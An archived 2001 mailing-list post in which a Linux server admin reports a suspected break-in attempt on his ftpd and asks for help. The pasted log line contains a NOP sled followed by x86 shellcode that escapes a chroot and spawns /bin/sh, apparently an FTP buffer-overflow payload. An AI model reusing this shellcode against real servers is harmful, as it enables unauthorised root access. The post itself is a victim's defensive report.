Linux ftpd

From: mrcbisat_private
Date: Sat Jun 09 2001 - 08:02:25 PDT

  • Next message: Sam Mingolelli: "Re: Linux ftpd"

    I have a linux-box running slackware 7.1 with kernel 2.2.18 acting as
    office-server; we have an internet-connection in dial-up to an ISP near us.
    Today I was looking into log-files, I found, in /var/log/messages the
    following message:
    Jun  3 21:30:05 sassuolo ftpd[24355]: ANONYMOUS FTP LOGIN FROM
    202.239.131.55 [2
    02.239.131.55],
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
    ><90>
    <90><90><90><90><90><90><90><90><90><90><90>1<C0>1<DB>1<C9><B0>F<CD><80>1<C
    0>1
    <DB>C<89><D9>A<B0>?<CD><80><EB>k^1<C0>1<C9><8D>^^A<88>F^Df<B9><FF>^A<B0>'<C
    D>
    <80>1<C0><8D>^^A<B0>=<CD><80>1<C0>1<DB><8D>^^H<89>C^B1<C9><FE><C9>1<C0><8
    D>^^H
    <B0>^L<CD><80><FE><C9>u<F3>1<C0><88>F^I<8D>^^H<B0>=<CD><80><FE>^N<B0>0<FE
    ><C8>
    <88>F^D1<C0><88>F^G<89>v^H<89>F^L<89><F3><8D>N^H<8D>V^L<B0>^K<CD><80>1<C0>1
    <DB>
    <B0>^A<CD><80><E8><90><FF><FF><FF>0bin0sh1..11
    
    
    repeated twice within few minutes. I think it was an intrusion attempt. My
    linux-box is connected to the internet with dynamic-ip-address. Can
    someone help me ? 
    Best regards
    
    
    						Marco Bisio
    



    This archive was generated by hypermail 2b30 : Sat Jun 09 2001 - 09:06:32 PDT